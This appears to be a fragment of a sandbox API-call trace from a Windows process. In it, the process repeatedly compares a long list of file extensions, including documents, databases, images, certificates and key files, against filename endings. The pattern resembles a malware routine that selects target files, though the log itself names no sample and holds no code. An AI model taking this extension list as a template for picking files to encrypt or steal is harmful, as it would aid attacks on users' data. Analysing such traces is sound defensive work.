	[0059.684] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0059.684] lstrlenW (lpString=".cfc") returned 4
	[0059.684] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0059.684] lstrlenW (lpString=".cfm") returned 4
	[0059.684] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0059.684] lstrlenW (lpString=".cfml") returned 5
	[0059.684] lstrcmpiW (lpString1=".cfml", lpString2="E.dll") returned -1
	[0059.684] lstrlenW (lpString=".cfu") returned 4
	[0059.685] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".chm") returned 4
	[0059.685] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".cin") returned 4
	[0059.685] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".class") returned 6
	[0059.685] lstrcmpiW (lpString1=".class", lpString2="BE.dll") returned -1
	[0059.685] lstrlenW (lpString=".clx") returned 4
	[0059.685] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".config") returned 7
	[0059.685] lstrcmpiW (lpString1=".config", lpString2="OBE.dll") returned -1
	[0059.685] lstrlenW (lpString=".cpp") returned 4
	[0059.685] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".cr2") returned 4
	[0059.685] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".crt") returned 4
	[0059.685] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".crw") returned 4
	[0059.685] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".cs") returned 3
	[0059.685] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0059.685] lstrlenW (lpString=".css") returned 4
	[0059.685] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".csv") returned 4
	[0059.685] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".cub") returned 4
	[0059.685] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".dae") returned 4
	[0059.685] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".dat") returned 4
	[0059.685] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0059.685] lstrlenW (lpString=".db") returned 3
	[0059.685] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0059.686] lstrlenW (lpString=".dbf") returned 4
	[0059.686] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dbx") returned 4
	[0059.686] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dc3") returned 4
	[0059.686] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dcm") returned 4
	[0059.686] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dcr") returned 4
	[0059.686] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".der") returned 4
	[0059.686] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dib") returned 4
	[0059.686] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dic") returned 4
	[0059.686] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".dif") returned 4
	[0059.686] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0059.686] lstrlenW (lpString=".divx") returned 5
	[0059.686] lstrcmpiW (lpString1=".divx", lpString2="E.dll") returned -1
	[0059.686] lstrlenW (lpString=".djvu") returned 5
	[0059.686] lstrcmpiW (lpString1=".djvu", lpString2="E.dll") returned -1
	[0059.686] lstrlenW (lpString=".dng") returned 4
	[0059.686] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0059.686] lstrlenW (lpString=".doc") returned 4
	[0059.686] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.686] lstrlenW (lpString=".docm") returned 5
	[0059.686] lstrcmpiW (lpString1=".docm", lpString2="E.dll") returned -1
	[0059.686] lstrlenW (lpString=".docx") returned 5
	[0059.686] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0059.686] lstrlenW (lpString=".dot") returned 4
	[0059.686] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0059.686] lstrlenW (lpString=".dotm") returned 5
	[0059.687] lstrcmpiW (lpString1=".dotm", lpString2="E.dll") returned -1
	[0059.687] lstrlenW (lpString=".dotx") returned 5
	[0059.687] lstrcmpiW (lpString1=".dotx", lpString2="E.dll") returned -1
	[0059.687] lstrlenW (lpString=".dpx") returned 4
	[0059.687] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".dqy") returned 4
	[0059.687] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".dsn") returned 4
	[0059.687] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".dt") returned 3
	[0059.687] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0059.687] lstrlenW (lpString=".dtd") returned 4
	[0059.687] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".dwg") returned 4
	[0059.687] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".dwt") returned 4
	[0059.687] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".dx") returned 3
	[0059.687] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0059.687] lstrlenW (lpString=".dxf") returned 4
	[0059.687] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".edml") returned 5
	[0059.687] lstrcmpiW (lpString1=".edml", lpString2="E.dll") returned -1
	[0059.687] lstrlenW (lpString=".efd") returned 4
	[0059.687] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".elf") returned 4
	[0059.687] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".emf") returned 4
	[0059.687] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".emz") returned 4
	[0059.687] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0059.687] lstrlenW (lpString=".epf") returned 4
	[0059.687] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".eps") returned 4
	[0059.688] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".epsf") returned 5
	[0059.688] lstrcmpiW (lpString1=".epsf", lpString2="E.dll") returned -1
	[0059.688] lstrlenW (lpString=".epsp") returned 5
	[0059.688] lstrcmpiW (lpString1=".epsp", lpString2="E.dll") returned -1
	[0059.688] lstrlenW (lpString=".erf") returned 4
	[0059.688] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".exr") returned 4
	[0059.688] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".f4v") returned 4
	[0059.688] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".fido") returned 5
	[0059.688] lstrcmpiW (lpString1=".fido", lpString2="E.dll") returned -1
	[0059.688] lstrlenW (lpString=".flm") returned 4
	[0059.688] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".flv") returned 4
	[0059.688] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".frm") returned 4
	[0059.688] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".fxg") returned 4
	[0059.688] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".geo") returned 4
	[0059.688] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".gif") returned 4
	[0059.688] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".grs") returned 4
	[0059.688] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0059.688] lstrlenW (lpString=".gz") returned 3
	[0059.688] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0059.688] lstrlenW (lpString=".h") returned 2
	[0059.688] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0059.689] lstrlenW (lpString=".hdr") returned 4
	[0059.689] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".hpp") returned 4
	[0059.689] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".hta") returned 4
	[0059.689] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".htc") returned 4
	[0059.689] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".htm") returned 4
	[0059.689] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".html") returned 5
	[0059.689] lstrcmpiW (lpString1=".html", lpString2="E.dll") returned -1
	[0059.689] lstrlenW (lpString=".icb") returned 4
	[0059.689] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".ics") returned 4
	[0059.689] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".iff") returned 4
	[0059.689] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".inc") returned 4
	[0059.689] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".indd") returned 5
	[0059.689] lstrcmpiW (lpString1=".indd", lpString2="E.dll") returned -1
	[0059.689] lstrlenW (lpString=".ini") returned 4
	[0059.689] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".iqy") returned 4
	[0059.689] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".j2c") returned 4
	[0059.689] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0059.689] lstrlenW (lpString=".j2k") returned 4
	[0059.689] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".java") returned 5
	[0059.690] lstrcmpiW (lpString1=".java", lpString2="E.dll") returned -1
	[0059.690] lstrlenW (lpString=".jp2") returned 4
	[0059.690] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".jpc") returned 4
	[0059.690] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".jpe") returned 4
	[0059.690] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".jpeg") returned 5
	[0059.690] lstrcmpiW (lpString1=".jpeg", lpString2="E.dll") returned -1
	[0059.690] lstrlenW (lpString=".jpf") returned 4
	[0059.690] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".jpg") returned 4
	[0059.690] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".jpx") returned 4
	[0059.690] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".js") returned 3
	[0059.690] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0059.690] lstrlenW (lpString=".jsf") returned 4
	[0059.690] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".json") returned 5
	[0059.690] lstrcmpiW (lpString1=".json", lpString2="E.dll") returned -1
	[0059.690] lstrlenW (lpString=".jsp") returned 4
	[0059.690] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".kdc") returned 4
	[0059.690] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".kmz") returned 4
	[0059.690] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".kwm") returned 4
	[0059.690] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0059.690] lstrlenW (lpString=".lasso") returned 6
	[0059.690] lstrcmpiW (lpString1=".lasso", lpString2="BE.dll") returned -1
	[0059.691] lstrlenW (lpString=".lbi") returned 4
	[0059.691] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".lgf") returned 4
	[0059.691] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".lgp") returned 4
	[0059.691] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".log") returned 4
	[0059.691] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".m1v") returned 4
	[0059.691] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".m4a") returned 4
	[0059.691] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".m4v") returned 4
	[0059.691] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".max") returned 4
	[0059.691] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".md") returned 3
	[0059.691] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0059.691] lstrlenW (lpString=".mda") returned 4
	[0059.691] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".mdb") returned 4
	[0059.691] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".mde") returned 4
	[0059.691] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".mdf") returned 4
	[0059.691] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".mdw") returned 4
	[0059.691] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".mef") returned 4
	[0059.691] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0059.691] lstrlenW (lpString=".mft") returned 4
	[0059.692] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mfw") returned 4
	[0059.692] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mht") returned 4
	[0059.692] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mhtml") returned 6
	[0059.692] lstrcmpiW (lpString1=".mhtml", lpString2="BE.dll") returned -1
	[0059.692] lstrlenW (lpString=".mka") returned 4
	[0059.692] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mkidx") returned 6
	[0059.692] lstrcmpiW (lpString1=".mkidx", lpString2="BE.dll") returned -1
	[0059.692] lstrlenW (lpString=".mkv") returned 4
	[0059.692] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mos") returned 4
	[0059.692] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mov") returned 4
	[0059.692] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mp3") returned 4
	[0059.692] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mp4") returned 4
	[0059.692] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mpeg") returned 5
	[0059.692] lstrcmpiW (lpString1=".mpeg", lpString2="E.dll") returned -1
	[0059.692] lstrlenW (lpString=".mpg") returned 4
	[0059.692] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mpv") returned 4
	[0059.692] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".mrw") returned 4
	[0059.692] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0059.692] lstrlenW (lpString=".msg") returned 4
	[0059.693] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".mxl") returned 4
	[0059.693] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".myd") returned 4
	[0059.693] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".myi") returned 4
	[0059.693] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".nef") returned 4
	[0059.693] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".nrw") returned 4
	[0059.693] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".obj") returned 4
	[0059.693] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".odb") returned 4
	[0059.693] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".odc") returned 4
	[0059.693] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".odm") returned 4
	[0059.693] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".odp") returned 4
	[0059.693] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".ods") returned 4
	[0059.693] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".oft") returned 4
	[0059.693] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".one") returned 4
	[0059.693] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0059.693] lstrlenW (lpString=".onepkg") returned 7
	[0059.693] lstrcmpiW (lpString1=".onepkg", lpString2="OBE.dll") returned -1
	[0059.693] lstrlenW (lpString=".onetoc2") returned 8
	[0059.694] lstrcmpiW (lpString1=".onetoc2", lpString2="OOBE.dll") returned -1
	[0059.694] lstrlenW (lpString=".opt") returned 4
	[0059.694] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".oqy") returned 4
	[0059.694] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".orf") returned 4
	[0059.694] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".p12") returned 4
	[0059.694] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".p7b") returned 4
	[0059.694] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".p7c") returned 4
	[0059.694] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pam") returned 4
	[0059.694] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pbm") returned 4
	[0059.694] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pct") returned 4
	[0059.694] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pcx") returned 4
	[0059.694] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pdd") returned 4
	[0059.694] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pdf") returned 4
	[0059.694] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pdp") returned 4
	[0059.694] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pef") returned 4
	[0059.694] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pem") returned 4
	[0059.694] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0059.694] lstrlenW (lpString=".pff") returned 4
	[0059.695] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0059.695] lstrlenW (lpString=".pfm") returned 4
	[0059.695] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0059.695] lstrlenW (lpString=".pfx") returned 4
	[0059.695] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0059.695] lstrlenW (lpString=".pgm") returned 4
	[0059.695] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0059.695] lstrlenW (lpString=".php") returned 4
	[0059.695] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0059.695] lstrlenW (lpString=".php3") returned 5
	[0059.695] lstrcmpiW (lpString1=".php3", lpString2="E.dll") returned -1
	[0059.695] lstrlenW (lpString=".php4") returned 5
	[0059.695] lstrcmpiW (lpString1=".php4", lpString2="E.dll") returned -1
	[0059.695] lstrlenW (lpString=".php5") returned 5
	[0059.695] lstrcmpiW (lpString1=".php5", lpString2="E.dll") returned -1
	[0059.695] lstrlenW (lpString=".phtml") returned 6
	[0059.695] lstrcmpiW (lpString1=".phtml", lpString2="BE.dll") returned -1
	[0059.695] lstrlenW (lpString=".pict") returned 5
	[0059.695] lstrcmpiW (lpString1=".pict", lpString2="E.dll") returned -1
	[0059.695] lstrlenW (lpString=".pl") returned 3
	[0059.695] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0059.695] lstrlenW (lpString=".pls") returned 4
	[0059.695] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0059.695] lstrlenW (lpString=".pm") returned 3
	[0059.696] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0059.696] lstrlenW (lpString=".png") returned 4
	[0059.696] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".pnm") returned 4
	[0059.696] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".pot") returned 4
	[0059.696] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".potm") returned 5
	[0059.696] lstrcmpiW (lpString1=".potm", lpString2="E.dll") returned -1
	[0059.696] lstrlenW (lpString=".potx") returned 5
	[0059.696] lstrcmpiW (lpString1=".potx", lpString2="E.dll") returned -1
	[0059.696] lstrlenW (lpString=".ppa") returned 4
	[0059.696] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".ppam") returned 5
	[0059.696] lstrcmpiW (lpString1=".ppam", lpString2="E.dll") returned -1
	[0059.696] lstrlenW (lpString=".ppm") returned 4
	[0059.696] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".pps") returned 4
	[0059.696] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".ppsm") returned 5
	[0059.696] lstrcmpiW (lpString1=".ppsm", lpString2="E.dll") returned -1
	[0059.696] lstrlenW (lpString=".ppt") returned 4
	[0059.696] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".pptm") returned 5
	[0059.696] lstrcmpiW (lpString1=".pptm", lpString2="E.dll") returned -1
	[0059.696] lstrlenW (lpString=".pptx") returned 5
	[0059.696] lstrcmpiW (lpString1=".pptx", lpString2="E.dll") returned -1
	[0059.696] lstrlenW (lpString=".prn") returned 4
	[0059.696] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0059.696] lstrlenW (lpString=".ps") returned 3
	[0059.696] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0059.696] lstrlenW (lpString=".psb") returned 4
	[0059.696] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".psd") returned 4
	[0059.697] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".pst") returned 4
	[0059.697] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".ptx") returned 4
	[0059.697] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".pub") returned 4
	[0059.697] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".pwm") returned 4
	[0059.697] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".pxr") returned 4
	[0059.697] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".py") returned 3
	[0059.697] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0059.697] lstrlenW (lpString=".qt") returned 3
	[0059.697] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0059.697] lstrlenW (lpString=".r3d") returned 4
	[0059.697] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".raf") returned 4
	[0059.697] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".rar") returned 4
	[0059.697] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".raw") returned 4
	[0059.697] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".rdf") returned 4
	[0059.697] lstrcmpiW (lpString1=".rdf", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".rgbe") returned 5
	[0059.697] lstrcmpiW (lpString1=".rgbe", lpString2="E.dll") returned -1
	[0059.697] lstrlenW (lpString=".rle") returned 4
	[0059.697] lstrcmpiW (lpString1=".rle", lpString2=".dll") returned 1
	[0059.697] lstrlenW (lpString=".rqy") returned 4
	[0059.698] lstrcmpiW (lpString1=".rqy", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".rss") returned 4
	[0059.698] lstrcmpiW (lpString1=".rss", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".rtf") returned 4
	[0059.698] lstrcmpiW (lpString1=".rtf", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".rw2") returned 4
	[0059.698] lstrcmpiW (lpString1=".rw2", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".rwl") returned 4
	[0059.698] lstrcmpiW (lpString1=".rwl", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".safe") returned 5
	[0059.698] lstrcmpiW (lpString1=".safe", lpString2="E.dll") returned -1
	[0059.698] lstrlenW (lpString=".sct") returned 4
	[0059.698] lstrcmpiW (lpString1=".sct", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".sdpx") returned 5
	[0059.698] lstrcmpiW (lpString1=".sdpx", lpString2="E.dll") returned -1
	[0059.698] lstrlenW (lpString=".shtm") returned 5
	[0059.698] lstrcmpiW (lpString1=".shtm", lpString2="E.dll") returned -1
	[0059.698] lstrlenW (lpString=".shtml") returned 6
	[0059.698] lstrcmpiW (lpString1=".shtml", lpString2="BE.dll") returned -1
	[0059.698] lstrlenW (lpString=".slk") returned 4
	[0059.698] lstrcmpiW (lpString1=".slk", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".sln") returned 4
	[0059.698] lstrcmpiW (lpString1=".sln", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".sql") returned 4
	[0059.698] lstrcmpiW (lpString1=".sql", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".sr2") returned 4
	[0059.698] lstrcmpiW (lpString1=".sr2", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".srf") returned 4
	[0059.698] lstrcmpiW (lpString1=".srf", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".srw") returned 4
	[0059.698] lstrcmpiW (lpString1=".srw", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".ssi") returned 4
	[0059.698] lstrcmpiW (lpString1=".ssi", lpString2=".dll") returned 1
	[0059.698] lstrlenW (lpString=".st") returned 3
	[0059.699] lstrcmpiW (lpString1=".st", lpString2="dll") returned -1
